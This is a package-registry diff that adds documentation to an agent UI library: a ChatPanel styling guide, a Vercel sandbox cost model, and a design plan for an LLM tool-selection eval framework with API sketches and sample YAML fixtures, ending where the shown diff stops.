@hachej/boring-agent 0.1.16 → 0.1.18
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/{sandbox-handle-store-hK76cTjn.d.ts → agentPluginEvents-zyIvVjsA.d.ts} +28 -32
- package/dist/{chunk-F3CE5CNW.js → chunk-B5JECXMG.js} +5 -7
- package/dist/front/index.d.ts +23 -7
- package/dist/front/index.js +764 -421
- package/dist/front/styles.css +61 -0
- package/dist/{tool-ui-DSmWuqGe.d.ts → harness-DRrTn_5T.d.ts} +43 -24
- package/dist/server/index.d.ts +79 -10
- package/dist/server/index.js +243 -54
- package/dist/shared/index.d.ts +5 -3
- package/dist/shared/index.js +3 -1
- package/dist/tool-ui-DIFNGwYd.d.ts +20 -0
- package/docs/ACCESSIBILITY.md +55 -0
- package/docs/API.md +64 -0
- package/docs/CSP.md +40 -0
- package/docs/ERROR_CODES.md +54 -0
- package/docs/KNOWN_LIMITATIONS.md +100 -0
- package/docs/MIGRATION.md +50 -0
- package/docs/PERFORMANCE.md +68 -0
- package/docs/PLUGINS.md +108 -0
- package/docs/README.md +17 -0
- package/docs/RISKS-MULTI-TAB.md +46 -0
- package/docs/STYLING.md +71 -0
- package/docs/UI-SHADCN.md +56 -0
- package/docs/VERCEL_COSTS.md +103 -0
- package/docs/plans/AGENT_EVAL_FRAMEWORK.md +466 -0
- package/docs/plans/agent-package-spec.md +1777 -0
- package/docs/plans/harness-followup-capabilities.md +440 -0
- package/docs/plans/harness-tool-ui-capabilities.md +144 -0
- package/docs/plans/pi-followup-history-projection.md +229 -0
- package/docs/plans/pi-tools-migration.md +1061 -0
- package/docs/plans/reviews/pi-followup-history-codex-review.md +11 -0
- package/docs/plans/reviews/pi-followup-history-gpt-review.md +64 -0
- package/docs/plans/reviews/pi-followup-history-opus-review.md +43 -0
- package/docs/plans/reviews/pi-followup-history-xai-review.md +43 -0
- package/docs/plans/vercel-base-snapshot-template-plan.md +527 -0
- package/docs/plans/vercel-persistent-sandbox-adapter.md +553 -0
- package/docs/runtime.md +56 -0
- package/docs/tools.md +75 -0
- package/package.json +4 -3
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
# Agent UI
|
|
2
|
+
|
|
3
|
+
`@boring/agent` exports the pane-embeddable `ChatPanel` and its frontend
|
|
4
|
+
primitives. The default styled surface is packaged with precompiled CSS.
|
|
5
|
+
|
|
6
|
+
## Quickstart
|
|
7
|
+
|
|
8
|
+
```tsx
|
|
9
|
+
import "@boring/workspace/globals.css"
|
|
10
|
+
import "@boring/agent/front/styles.css"
|
|
11
|
+
import { ChatPanel } from "@boring/agent"
|
|
12
|
+
|
|
13
|
+
function App() {
|
|
14
|
+
return <ChatPanel sessionId="my-session" />
|
|
15
|
+
}
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
Import app overrides after the package CSS when customizing:
|
|
19
|
+
|
|
20
|
+
```ts
|
|
21
|
+
import "@boring/workspace/globals.css"
|
|
22
|
+
import "@boring/agent/front/styles.css"
|
|
23
|
+
import "./app.css"
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
## Styling model
|
|
27
|
+
|
|
28
|
+
| Concern | Contract |
|
|
29
|
+
|---|---|
|
|
30
|
+
| Package CSS | `@boring/agent/front/styles.css` |
|
|
31
|
+
| Root selector | `[data-boring-agent]` |
|
|
32
|
+
| Parts | `[data-boring-agent-part="composer"]`, `[data-boring-agent-part="tool-card"]`, etc. |
|
|
33
|
+
| Message role | `[data-boring-agent-message-role="assistant"]` |
|
|
34
|
+
| State | `[data-boring-state="selected"]`, `[data-boring-state="disabled"]`, etc. |
|
|
35
|
+
| Tokens | Consumes host `--boring-*` tokens with standalone fallbacks |
|
|
36
|
+
|
|
37
|
+
The built stylesheet has no Tailwind `@source` directives, no Tailwind imports,
|
|
38
|
+
and no repo-relative source paths.
|
|
39
|
+
|
|
40
|
+
## Dark mode
|
|
41
|
+
|
|
42
|
+
Add `class="dark"` to an ancestor. Workspace owns the dark `--boring-*` token
|
|
43
|
+
values; agent inherits them and falls back when embedded standalone.
|
|
44
|
+
|
|
45
|
+
## Custom tool renderers
|
|
46
|
+
|
|
47
|
+
Same API as `ChatPanel`:
|
|
48
|
+
|
|
49
|
+
```tsx
|
|
50
|
+
<ChatPanel
|
|
51
|
+
sessionId="sess"
|
|
52
|
+
toolRenderers={{
|
|
53
|
+
write: ({ toolCall }) => <div>Wrote {toolCall.input.path}</div>,
|
|
54
|
+
}}
|
|
55
|
+
/>
|
|
56
|
+
```
|
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
# Vercel Sandbox Cost Model
|
|
2
|
+
|
|
3
|
+
Date: 2026-04-23
|
|
4
|
+
|
|
5
|
+
## Inputs
|
|
6
|
+
|
|
7
|
+
### Pricing + limits (official)
|
|
8
|
+
|
|
9
|
+
Source: Vercel Sandbox pricing and limits (last updated March 14, 2026):
|
|
10
|
+
<https://vercel.com/docs/vercel-sandbox/pricing>
|
|
11
|
+
|
|
12
|
+
| Metric | Rate / Limit |
|
|
13
|
+
|---|---|
|
|
14
|
+
| Active CPU | `$0.128 / vCPU-hour` |
|
|
15
|
+
| Provisioned Memory | `$0.0212 / GB-hour` |
|
|
16
|
+
| Sandbox creations | `$0.60 / 1M` (`$0.0000006 / create`) |
|
|
17
|
+
| Data transfer | `$0.15 / GB` |
|
|
18
|
+
| Snapshot storage | `$0.08 / GB-month` |
|
|
19
|
+
| Default vCPU | `2` |
|
|
20
|
+
| Memory per vCPU | `2 GB` |
|
|
21
|
+
| Max runtime | Hobby `45 min`, Pro/Enterprise `5h` |
|
|
22
|
+
| vCPU allocation rate limit | Hobby `40 vCPU / 10 min`, Pro `200 / min`, Ent `400 / min` |
|
|
23
|
+
|
|
24
|
+
Snapshot defaults (official):
|
|
25
|
+
- <https://vercel.com/docs/vercel-sandbox/concepts/snapshots>
|
|
26
|
+
- Default snapshot expiration is `30 days` unless configured otherwise.
|
|
27
|
+
|
|
28
|
+
### Measured workload inputs (this repo)
|
|
29
|
+
|
|
30
|
+
- Cold-start benchmark (`96h`): [PERFORMANCE.md](./PERFORMANCE.md)
|
|
31
|
+
- FS + exec latency benchmark (`f4f`): historical raw JSON artifact removed; see the root `docs/PERFORMANCE.md` rollup.
|
|
32
|
+
- Measured snapshot sizes from benchmark project: ~`279 MB` each (`0.2606 GB`).
|
|
33
|
+
|
|
34
|
+
Observations:
|
|
35
|
+
- 96h: cold-start p95 is below `3s`, so we do not need a large warm pool to hide startup.
|
|
36
|
+
- f4f + 96h traces are I/O-heavy; CPU-active share is much lower than wall-clock. Model uses `30%` CPU-active as the baseline.
|
|
37
|
+
|
|
38
|
+
## Model
|
|
39
|
+
|
|
40
|
+
For one workspace/day:
|
|
41
|
+
|
|
42
|
+
```text
|
|
43
|
+
daily_cost =
|
|
44
|
+
(active_cpu_vcpu_hours * 0.128) +
|
|
45
|
+
(memory_gb * wall_clock_hours * 0.0212) +
|
|
46
|
+
(creates_per_day * 0.0000006) +
|
|
47
|
+
(snapshot_gb * snapshots_kept * 0.08 / 30)
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
Baseline assumptions used below:
|
|
51
|
+
- `2 vCPU`, `4 GB` memory.
|
|
52
|
+
- one active user session/day: `30 min` wall-clock, `30%` CPU-active.
|
|
53
|
+
- this gives `active_cpu_vcpu_hours = 2 * 0.5 * 0.3 = 0.3` vCPU-hours/day.
|
|
54
|
+
- `1` creation/day.
|
|
55
|
+
- snapshot retention `keep-last-2`.
|
|
56
|
+
- idle policy changes runtime billed for memory, but not active CPU time.
|
|
57
|
+
|
|
58
|
+
## Cost per Workspace per Day
|
|
59
|
+
|
|
60
|
+
Historical companion CSV artifacts were removed from the package tree; the table below preserves the cost model.
|
|
61
|
+
|
|
62
|
+
| Idle policy | Runtime billed/day | CPU $/day | Memory $/day | Snapshot $/day | Create $/day | Total $/day |
|
|
63
|
+
|---|---:|---:|---:|---:|---:|---:|
|
|
64
|
+
| Stop on session end | 0.5 h | 0.0384 | 0.0424 | 0.0014 | 0.0000006 | **0.0822** |
|
|
65
|
+
| Idle-stop after 60 min | 1.0 h | 0.0384 | 0.0848 | 0.0014 | 0.0000006 | **0.1246** |
|
|
66
|
+
| No explicit stop (5h timeout) | 5.0 h | 0.0384 | 0.4240 | 0.0014 | 0.0000006 | **0.4638** |
|
|
67
|
+
| Pinned 24h workspace | 24.0 h | 0.0384 | 2.0352 | 0.0014 | 0.0000006 | **2.0750** |
|
|
68
|
+
|
|
69
|
+
Implication:
|
|
70
|
+
- Memory wall-clock billing dominates cost. Idle lifetime policy matters far more than creation count.
|
|
71
|
+
|
|
72
|
+
## Snapshot Retention Trade-off
|
|
73
|
+
|
|
74
|
+
With measured snapshot size `0.2606 GB`:
|
|
75
|
+
|
|
76
|
+
| Retention | Storage/workspace/month |
|
|
77
|
+
|---|---:|
|
|
78
|
+
| Keep 1 | `$0.0209` |
|
|
79
|
+
| Keep 2 (current) | `$0.0417` |
|
|
80
|
+
| Keep 5 | `$0.1043` |
|
|
81
|
+
| Keep 10 | `$0.2085` |
|
|
82
|
+
|
|
83
|
+
Conclusion:
|
|
84
|
+
- **Keep-last-2 is still the right default.**
|
|
85
|
+
- Storage cost is tiny at small scale but scales linearly with workspace count.
|
|
86
|
+
|
|
87
|
+
## Idle Pool Sizing
|
|
88
|
+
|
|
89
|
+
If we keep a warm 2 vCPU / 4 GB sandbox running for 24h, per slot:
|
|
90
|
+
- Memory-only floor: `4 GB * 24h * 0.0212 = $2.0352/day`.
|
|
91
|
+
- At 1% CPU-active overhead, total is about `~$2.10/day` per warm slot.
|
|
92
|
+
|
|
93
|
+
Because 96h cold-start p95 is already `<3s`, default should be **no prewarmed idle pool**.
|
|
94
|
+
|
|
95
|
+
## Policy Recommendation
|
|
96
|
+
|
|
97
|
+
1. Keep `BORING_AGENT_SNAPSHOT_KEEP=2` (confirmed).
|
|
98
|
+
2. Stop sandbox proactively on session end; do not rely on timeout.
|
|
99
|
+
3. Add/keep idle-stop guardrail at `<= 60 min` idle.
|
|
100
|
+
4. Add stale-handle cleanup: force destroy after `24h` idle as a safety backstop if stop hooks are missed.
|
|
101
|
+
5. Keep idle pool size at `0` by default; only enable a tiny pool behind feature flag if product latency goals tighten.
|
|
102
|
+
|
|
103
|
+
This policy minimizes spend while keeping current UX targets achievable.
|
|
@@ -0,0 +1,466 @@
|
|
|
1
|
+
# Agent eval framework — testing LLM tool-selection behavior
|
|
2
|
+
|
|
3
|
+
**Status:** review v3 (incorporates Gemini review v2 feedback — YAML DSL serialization + honest fork-PR threat model)
|
|
4
|
+
**Owner:** `@boring/agent`
|
|
5
|
+
**Last updated:** 2026-04-28
|
|
6
|
+
|
|
7
|
+
## Problem
|
|
8
|
+
|
|
9
|
+
We have two distinct layers under test, and only one is currently covered:
|
|
10
|
+
|
|
11
|
+
| Layer | What it asserts | Today's coverage |
|
|
12
|
+
|---|---|---|
|
|
13
|
+
| **Plumbing** | Tool registered in catalog → bridge dispatches → workspace responds → state round-trips | `createWorkspaceAgentApp.test.ts`, `createInMemoryBridge.test.ts`, `uiCommandDispatcher.test.ts`, etc. — green. |
|
|
14
|
+
| **Behavior** | Given a user prompt + the agent's tool catalog + tool descriptions, does the LLM pick the right tool with the right params? | NONE. |
|
|
15
|
+
|
|
16
|
+
Recent example proving the gap exists: a user said "open a chart of Real GDP" and the agent confidently reported "Opened: Real GDP (GDPC1) in the chart pane" while the workbench was actually empty. Plumbing all worked. The LLM didn't realize it could call `exec_ui openFile`, didn't think to consult `get_ui_state.availablePanels` first, and made up a `chart` component name. That's a behavior bug, not a plumbing bug, and no test would have caught it.
|
|
17
|
+
|
|
18
|
+
The behavior layer needs its own framework, and it should live in `@boring/agent`. Reasons:
|
|
19
|
+
|
|
20
|
+
1. **Tool catalog ownership.** The catalog lives in agent. Whether a prompt resolves correctly depends on the descriptions, the JSON schema enums, and the system prompt — all of which the agent owns or contributes.
|
|
21
|
+
2. **Reusable across hosts.** Workspace, boring-macro, the playground, full-app — anything built on `@boring/agent` will want to assert against its own tool catalog. The framework can't live in any one consumer.
|
|
22
|
+
3. **Wraps existing primitives.** The mechanism is just "create an agent app, post a chat, capture the tool calls" — already entirely possible via `app.inject`. We're packaging that as a typed assertion helper, not inventing new infrastructure.
|
|
23
|
+
|
|
24
|
+
## Goal
|
|
25
|
+
|
|
26
|
+
Add `@boring/agent/testing` exporting:
|
|
27
|
+
|
|
28
|
+
- `evalAgentPrompt(opts)` — single-prompt eval. Posts a chat through `app.inject`, captures the FULL list of tool calls in the response, and returns a structured pass/fail.
|
|
29
|
+
- `runEvalSuite(opts)` — batch runner over a YAML fixture file. Strict 100% pass with per-prompt retries; suite-level timeout; sane concurrency cap.
|
|
30
|
+
- A matcher DSL — `EvalAny`, `EvalRegex`, partial vs strict, plus `someCallMatches` (default) vs `firstCallMatches` for prompts where order matters.
|
|
31
|
+
|
|
32
|
+
Two consumption modes:
|
|
33
|
+
|
|
34
|
+
- **In a vitest test** — small assertion suites for ONE prompt → one or more expected calls. Useful for pinning a tool description against a specific regression.
|
|
35
|
+
- **As a standalone CLI** (`pnpm agent:eval suite.yaml`) — large suites of 50+ prompts run nightly in CI against a real model.
|
|
36
|
+
|
|
37
|
+
## API sketch (revised per review)
|
|
38
|
+
|
|
39
|
+
### Single-prompt eval
|
|
40
|
+
|
|
41
|
+
```ts
|
|
42
|
+
// @boring/agent/testing
|
|
43
|
+
import type { FastifyInstance } from 'fastify'
|
|
44
|
+
|
|
45
|
+
export interface ToolCall {
|
|
46
|
+
tool: string
|
|
47
|
+
params: Record<string, unknown>
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
export interface ExpectedCall {
|
|
51
|
+
/** Exact tool name match. Required. */
|
|
52
|
+
tool: string
|
|
53
|
+
|
|
54
|
+
/** Partial-match on the call params (every key in expect.params must
|
|
55
|
+
* appear with matching value; extra keys allowed unless `strict: true`). */
|
|
56
|
+
params?: Record<string, unknown>
|
|
57
|
+
|
|
58
|
+
/** When true, params must equal exactly (no extra keys). */
|
|
59
|
+
strict?: boolean
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
export interface EvalPromptOptions {
|
|
63
|
+
/** A FastifyInstance from createAgentApp / createWorkspaceAgentApp / etc. */
|
|
64
|
+
app: FastifyInstance
|
|
65
|
+
|
|
66
|
+
/** User prompt sent to the agent. */
|
|
67
|
+
prompt: string
|
|
68
|
+
|
|
69
|
+
/**
|
|
70
|
+
* Expected tool calls. Default mode: assert that EVERY ExpectedCall here
|
|
71
|
+
* matches AT LEAST ONE call in the LLM's response (any order).
|
|
72
|
+
* Anthropic / OpenAI both support parallel tool calls in a single
|
|
73
|
+
* response, so the framework treats `actual` as an array and runs an
|
|
74
|
+
* existence check per expected entry — matching the wire reality.
|
|
75
|
+
*/
|
|
76
|
+
expect: ExpectedCall | ExpectedCall[]
|
|
77
|
+
|
|
78
|
+
/**
|
|
79
|
+
* Stricter alternative: assert the FIRST tool call matches `expectFirst`.
|
|
80
|
+
* Use when ordering matters (e.g. "agent must call get_ui_state BEFORE
|
|
81
|
+
* exec_ui openPanel"). Mutually exclusive with `expect`.
|
|
82
|
+
*/
|
|
83
|
+
expectFirst?: ExpectedCall
|
|
84
|
+
|
|
85
|
+
/**
|
|
86
|
+
* Negative assertion: assert that NO tool was called (LLM answered in
|
|
87
|
+
* plain text). Use for "what is 2+2" style prompts where over-tooling
|
|
88
|
+
* is the regression.
|
|
89
|
+
*/
|
|
90
|
+
expectNoToolCall?: boolean
|
|
91
|
+
|
|
92
|
+
/**
|
|
93
|
+
* Model id. Each consumer can pin its own — defaults to the agent
|
|
94
|
+
* package's pinned model from `eval.config.json` (currently
|
|
95
|
+
* "claude-haiku-4-5-20251001"). Suites should override at the suite
|
|
96
|
+
* level (in the YAML file) so workspace's eval can run on Haiku
|
|
97
|
+
* while boring-macro's runs on Sonnet without a global migration.
|
|
98
|
+
*/
|
|
99
|
+
model?: string
|
|
100
|
+
|
|
101
|
+
/** Optional system prompt prepended to the chat session. Defaults to none. */
|
|
102
|
+
systemPrompt?: string
|
|
103
|
+
|
|
104
|
+
/** Override the chat session id (defaults to a fresh uuid per call). */
|
|
105
|
+
sessionId?: string
|
|
106
|
+
|
|
107
|
+
/**
|
|
108
|
+
* Per-call timeout. Defaults to 30s. If the API hangs, fail fast at
|
|
109
|
+
* this boundary so the suite-level timeout (below) doesn't have to
|
|
110
|
+
* absorb every prompt's tail latency.
|
|
111
|
+
*/
|
|
112
|
+
timeoutMs?: number
|
|
113
|
+
|
|
114
|
+
/**
|
|
115
|
+
* Per-prompt retry count. Defaults to 0. Set to 1 or 2 for prompts
|
|
116
|
+
* known to flake on stochastic noise — strictly preferred over a
|
|
117
|
+
* global pass-rate threshold (which masks genuine regressions in
|
|
118
|
+
* specific tools — see the "100% pass" rationale below).
|
|
119
|
+
*/
|
|
120
|
+
retries?: number
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
export interface EvalResult {
|
|
124
|
+
ok: boolean
|
|
125
|
+
/** All tool calls the LLM made, in order. Empty array means LLM answered
|
|
126
|
+
* in plain text without tooling. */
|
|
127
|
+
actual: ToolCall[]
|
|
128
|
+
/** Plain-text response from the LLM (empty string when only tools called). */
|
|
129
|
+
text: string
|
|
130
|
+
/** Human-readable reason on failure. */
|
|
131
|
+
reason?: string
|
|
132
|
+
/** Tokens consumed — for cost telemetry. */
|
|
133
|
+
usage?: { input: number; output: number }
|
|
134
|
+
/** How many attempts were used (1 + retries on failure). */
|
|
135
|
+
attempts: number
|
|
136
|
+
}
|
|
137
|
+
|
|
138
|
+
export async function evalAgentPrompt(opts: EvalPromptOptions): Promise<EvalResult>
|
|
139
|
+
|
|
140
|
+
// Wildcards — JS API
|
|
141
|
+
export const EvalAny: unique symbol
|
|
142
|
+
export function EvalRegex(re: RegExp): { __evalRegex: RegExp }
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
### YAML serialization for matcher wildcards (per v2 review)
|
|
146
|
+
|
|
147
|
+
Fixtures are YAML, but `EvalAny` is a JS `Symbol` and `EvalRegex` is a function returning a tagged object. A naive `yaml.parse(...)` would treat `id: EvalAny` as the literal string `"EvalAny"`. Need a deliberate serialization strategy.
|
|
148
|
+
|
|
149
|
+
**Choice: custom YAML tags** (using the `yaml` package's `Schema` API).
|
|
150
|
+
|
|
151
|
+
```yaml
|
|
152
|
+
prompts:
|
|
153
|
+
- prompt: open the GDP chart
|
|
154
|
+
expect:
|
|
155
|
+
tool: exec_ui
|
|
156
|
+
params:
|
|
157
|
+
kind: openPanel
|
|
158
|
+
params:
|
|
159
|
+
id: !EvalAny # any non-undefined value
|
|
160
|
+
component: !EvalRegex "^chart:" # regex match against string
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
The framework registers two custom tags with the YAML parser:
|
|
164
|
+
|
|
165
|
+
- `!EvalAny` (no value) → resolves to the `EvalAny` symbol.
|
|
166
|
+
- `!EvalRegex "regex-source"` (scalar) → resolves to `EvalRegex(new RegExp(...))`. The string is the regex source (no flags syntax — keep it simple; if a fixture needs flags, embed them via `(?i)` etc. inline).
|
|
167
|
+
|
|
168
|
+
**Rejected alternatives** and why:
|
|
169
|
+
|
|
170
|
+
- **Reserved string prefixes (`__EVAL_ANY__`)** — works but uglier in fixtures, and easy to confuse with a real string value an LLM might emit.
|
|
171
|
+
- **Object syntax (`{ $evalAny: true }`)** — also works but verbose for the common case (single-key object every wildcard). Custom tags are syntactically lighter (`!EvalAny` vs `{$evalAny:true}`) and more discoverable when a reader sees them in a fixture.
|
|
172
|
+
|
|
173
|
+
Both rejected alternatives stay valid via the JS API (`evalAgentPrompt` called directly from a vitest test) — only the YAML loader needs the custom-tag knowledge.
|
|
174
|
+
|
|
175
|
+
### Suite runner
|
|
176
|
+
|
|
177
|
+
```ts
|
|
178
|
+
export interface SuiteOptions {
|
|
179
|
+
app: FastifyInstance
|
|
180
|
+
|
|
181
|
+
/** Path to a YAML file. See "Fixture format (YAML)" below. */
|
|
182
|
+
fixturesPath: string
|
|
183
|
+
|
|
184
|
+
/**
|
|
185
|
+
* Stop running and fail fast on first non-pass. Default: false (run
|
|
186
|
+
* the whole suite, print every failure, then fail).
|
|
187
|
+
*/
|
|
188
|
+
bail?: boolean
|
|
189
|
+
|
|
190
|
+
/**
|
|
191
|
+
* Concurrency. Default: 4. Higher = faster + more API tokens consumed
|
|
192
|
+
* in parallel. Each prompt has its own per-call timeoutMs.
|
|
193
|
+
*/
|
|
194
|
+
concurrency?: number
|
|
195
|
+
|
|
196
|
+
/**
|
|
197
|
+
* Hard suite-level timeout in ms. Defaults to 5 * 60_000 (5 minutes).
|
|
198
|
+
* If API latency degrades, this fails the suite fast rather than
|
|
199
|
+
* waiting for every prompt to time out individually.
|
|
200
|
+
*/
|
|
201
|
+
suiteTimeoutMs?: number
|
|
202
|
+
|
|
203
|
+
/**
|
|
204
|
+
* Optional global override of the per-prompt model. Useful for ad-hoc
|
|
205
|
+
* "run this suite against Sonnet instead of Haiku" experiments
|
|
206
|
+
* without editing the YAML.
|
|
207
|
+
*/
|
|
208
|
+
model?: string
|
|
209
|
+
}
|
|
210
|
+
|
|
211
|
+
export interface SuiteReport {
|
|
212
|
+
total: number
|
|
213
|
+
passed: number
|
|
214
|
+
failed: number
|
|
215
|
+
/**
|
|
216
|
+
* NOT exposed as a "threshold" knob. The suite passes IFF every prompt
|
|
217
|
+
* passed (after retries). Aggregate pass rate is a number reported for
|
|
218
|
+
* telemetry, not a knob to silently mask broken tools — see "100% pass
|
|
219
|
+
* rationale" below.
|
|
220
|
+
*/
|
|
221
|
+
passRate: number
|
|
222
|
+
results: Array<EvalResult & { prompt: string; expected: ExpectedCall | ExpectedCall[] | undefined }>
|
|
223
|
+
totalUsage: { input: number; output: number }
|
|
224
|
+
totalDurationMs: number
|
|
225
|
+
/** True iff every result is `ok: true`. */
|
|
226
|
+
allPassed: boolean
|
|
227
|
+
}
|
|
228
|
+
|
|
229
|
+
export async function runEvalSuite(opts: SuiteOptions): Promise<SuiteReport>
|
|
230
|
+
```
|
|
231
|
+
|
|
232
|
+
### 100% pass rationale (per Gemini review)
|
|
233
|
+
|
|
234
|
+
The first plan offered a `threshold` knob (default 1.0, optionally lowered to 0.9 for "noisy" suites). That's a footgun: a 50-prompt suite at threshold 0.9 silently passes when ALL THREE of `openPanel`'s prompts fail (94% aggregate). The aggregate masks a specific tool regression.
|
|
235
|
+
|
|
236
|
+
Replaced with strict 100% pass + a `retries` knob per prompt for the small handful of prompts that genuinely flake. If a prompt flakes consistently, the right response is to:
|
|
237
|
+
- Tighten the matcher (`EvalAny` instead of pinning a generated id)
|
|
238
|
+
- Loosen the `params` (drop optional fields the LLM sometimes adds)
|
|
239
|
+
- Rewrite the prompt to be less ambiguous
|
|
240
|
+
|
|
241
|
+
Not "let one tool be silently broken because the other 47 passed."
|
|
242
|
+
|
|
243
|
+
## Fixture format — YAML (revised per review)
|
|
244
|
+
|
|
245
|
+
YAML over JSONL because nested `expect.params` is unreadable on a single line and quote-escaping inside `prompt` strings is hostile. Suite-level config (model, system prompt, defaults) lives at the file head.
|
|
246
|
+
|
|
247
|
+
```yaml
|
|
248
|
+
# packages/agent/eval/standard-tools.yaml
|
|
249
|
+
model: claude-haiku-4-5-20251001
|
|
250
|
+
systemPrompt: |
|
|
251
|
+
You are a coding assistant. Use the registered tools to act on the user's
|
|
252
|
+
workspace. Prefer purpose-built tools over generic shell commands when both apply.
|
|
253
|
+
defaults:
|
|
254
|
+
retries: 0
|
|
255
|
+
timeoutMs: 30000
|
|
256
|
+
|
|
257
|
+
prompts:
|
|
258
|
+
- prompt: open README.md
|
|
259
|
+
expect:
|
|
260
|
+
tool: exec_ui
|
|
261
|
+
params:
|
|
262
|
+
kind: openFile
|
|
263
|
+
params:
|
|
264
|
+
path: README.md
|
|
265
|
+
|
|
266
|
+
- prompt: what files do I have open?
|
|
267
|
+
expect:
|
|
268
|
+
tool: get_ui_state
|
|
269
|
+
|
|
270
|
+
- prompt: close the active tab
|
|
271
|
+
expect:
|
|
272
|
+
tool: exec_ui
|
|
273
|
+
params:
|
|
274
|
+
kind: closePanel
|
|
275
|
+
|
|
276
|
+
- prompt: show me the GDP series
|
|
277
|
+
expect:
|
|
278
|
+
tool: exec_ui
|
|
279
|
+
params:
|
|
280
|
+
kind: openPanel
|
|
281
|
+
params:
|
|
282
|
+
component: chart-canvas
|
|
283
|
+
retries: 1 # this prompt is more open-ended; allow one stochastic retry
|
|
284
|
+
|
|
285
|
+
- prompt: what is 2 plus 2?
|
|
286
|
+
expectNoToolCall: true # plain-text response — no tool needed
|
|
287
|
+
|
|
288
|
+
- prompt: open the README and tell me about the project
|
|
289
|
+
# Multi-call expectation — both tools must appear (any order). Anthropic
|
|
290
|
+
# supports parallel tool calls; the matcher checks existence, not order.
|
|
291
|
+
expect:
|
|
292
|
+
- tool: exec_ui
|
|
293
|
+
params:
|
|
294
|
+
kind: openFile
|
|
295
|
+
params:
|
|
296
|
+
path: README.md
|
|
297
|
+
- tool: read
|
|
298
|
+
params:
|
|
299
|
+
path: README.md
|
|
300
|
+
|
|
301
|
+
- prompt: navigate to line 42 of foo.ts
|
|
302
|
+
# Order-sensitive: agent should call openFile FIRST, then navigateToLine.
|
|
303
|
+
expectFirst:
|
|
304
|
+
tool: exec_ui
|
|
305
|
+
params:
|
|
306
|
+
kind: openFile
|
|
307
|
+
params:
|
|
308
|
+
path: foo.ts
|
|
309
|
+
```
|
|
310
|
+
|
|
311
|
+
YAML structure:
|
|
312
|
+
|
|
313
|
+
- **`model`** (top-level) — pinned model for this suite. Each suite can pin independently; bumping is a deliberate edit per-suite, not a global migration.
|
|
314
|
+
- **`systemPrompt`** (top-level, optional) — prepended to every prompt in the suite.
|
|
315
|
+
- **`defaults`** (top-level, optional) — applied to every prompt unless overridden inline.
|
|
316
|
+
- **`prompts`** (array) — each entry is a `prompt` + one of `expect` / `expectFirst` / `expectNoToolCall`, plus optional per-prompt overrides for `retries`, `timeoutMs`, `model`.
|
|
317
|
+
|
|
318
|
+
Why structured YAML over inline `app.inject` calls in vitest: a single source of truth for the suite that non-engineers can edit (UX writers tweaking system prompts, product managers adding regression prompts after a bug report). The CLI runs the same parser as `runEvalSuite`.
|
|
319
|
+
|
|
320
|
+
## Architecture
|
|
321
|
+
|
|
322
|
+
```
|
|
323
|
+
┌─────────────────────────┐
|
|
324
|
+
│ evalAgentPrompt(opts) │
|
|
325
|
+
└────────────┬────────────┘
|
|
326
|
+
│
|
|
327
|
+
1. session = uuid()
|
|
328
|
+
2. POST /api/v1/agent/sessions {id: session}
|
|
329
|
+
3. POST /api/v1/agent/chat {sessionId, model, message, systemPrompt?}
|
|
330
|
+
4. Stream SSE response, capture EVERY tool-call event
|
|
331
|
+
(parallel + sequential calls all collected) plus the
|
|
332
|
+
final assistant text.
|
|
333
|
+
5. Match captured calls against expect / expectFirst /
|
|
334
|
+
expectNoToolCall.
|
|
335
|
+
6. Retry on failure up to opts.retries times.
|
|
336
|
+
7. DELETE /api/v1/agent/sessions/<id> (cleanup).
|
|
337
|
+
8. Return EvalResult with actual: ToolCall[], text,
|
|
338
|
+
attempts, usage.
|
|
339
|
+
│
|
|
340
|
+
▼
|
|
341
|
+
┌─────────────────────────┐
|
|
342
|
+
│ app.inject(...) │
|
|
343
|
+
│ (no real network for │
|
|
344
|
+
│ the Fastify routes — │
|
|
345
|
+
│ in-process) │
|
|
346
|
+
└────────────┬────────────┘
|
|
347
|
+
│ But the LLM call ITSELF goes
|
|
348
|
+
│ over the wire via the harness
|
|
349
|
+
│ — that's the entire point.
|
|
350
|
+
▼
|
|
351
|
+
┌─────────────────────────┐
|
|
352
|
+
│ Real LLM (Anthropic) │
|
|
353
|
+
│ via ANTHROPIC_API_KEY │
|
|
354
|
+
└─────────────────────────┘
|
|
355
|
+
```
|
|
356
|
+
|
|
357
|
+
Plumbing (Fastify, agent harness, tool dispatch) is in-process via `app.inject`. The LLM call itself is real. Cost lives at the model API boundary; controlling model choice + prompt count + retry budget controls the spend.
|
|
358
|
+
|
|
359
|
+
## Non-determinism strategy (revised)
|
|
360
|
+
|
|
361
|
+
Three layers of tolerance, in order of preference:
|
|
362
|
+
|
|
363
|
+
1. **Partial-match by default.** `params: { kind: "openFile", params: { path: "README.md" } }` matches actual `{ kind: "openFile", params: { path: "README.md", mode: "view" } }` — the extra `mode` key is allowed unless `strict: true`. Handles "model decided to add an optional param."
|
|
364
|
+
|
|
365
|
+
2. **Wildcards for fields that can't be pinned.** `EvalAny` for "must be present, any value" — useful for ids the model generates fresh each run (`id: EvalAny` for openPanel). `EvalRegex(/^chart:/)` for prefix matching without pinning the suffix.
|
|
366
|
+
|
|
367
|
+
3. **Per-prompt retries** for the rare prompt that's genuinely stochastic. Keep retries small (1–2). If a prompt needs 5 retries to pass, the prompt or matcher is wrong, not the LLM.
|
|
368
|
+
|
|
369
|
+
**Removed from the design**: the suite-level `threshold` (e.g., 0.9 = 90% pass rate). Per Gemini's review, an aggregate threshold lets a specific tool break entirely without failing CI. Strict 100% pass + targeted retries handles the same problem honestly.
|
|
370
|
+
|
|
371
|
+
**Multi-call matching**: Anthropic / OpenAI both emit multiple tool calls in a single response (parallel) or across turns (sequential). The default matcher mode is `someCallMatches` — assert each `ExpectedCall` exists somewhere in the captured `actual: ToolCall[]`, any order, parallel or sequential. `expectFirst` is the explicit opt-in for ordering, used only when ordering is part of the contract.
|
|
372
|
+
|
|
373
|
+
## Cost model
|
|
374
|
+
|
|
375
|
+
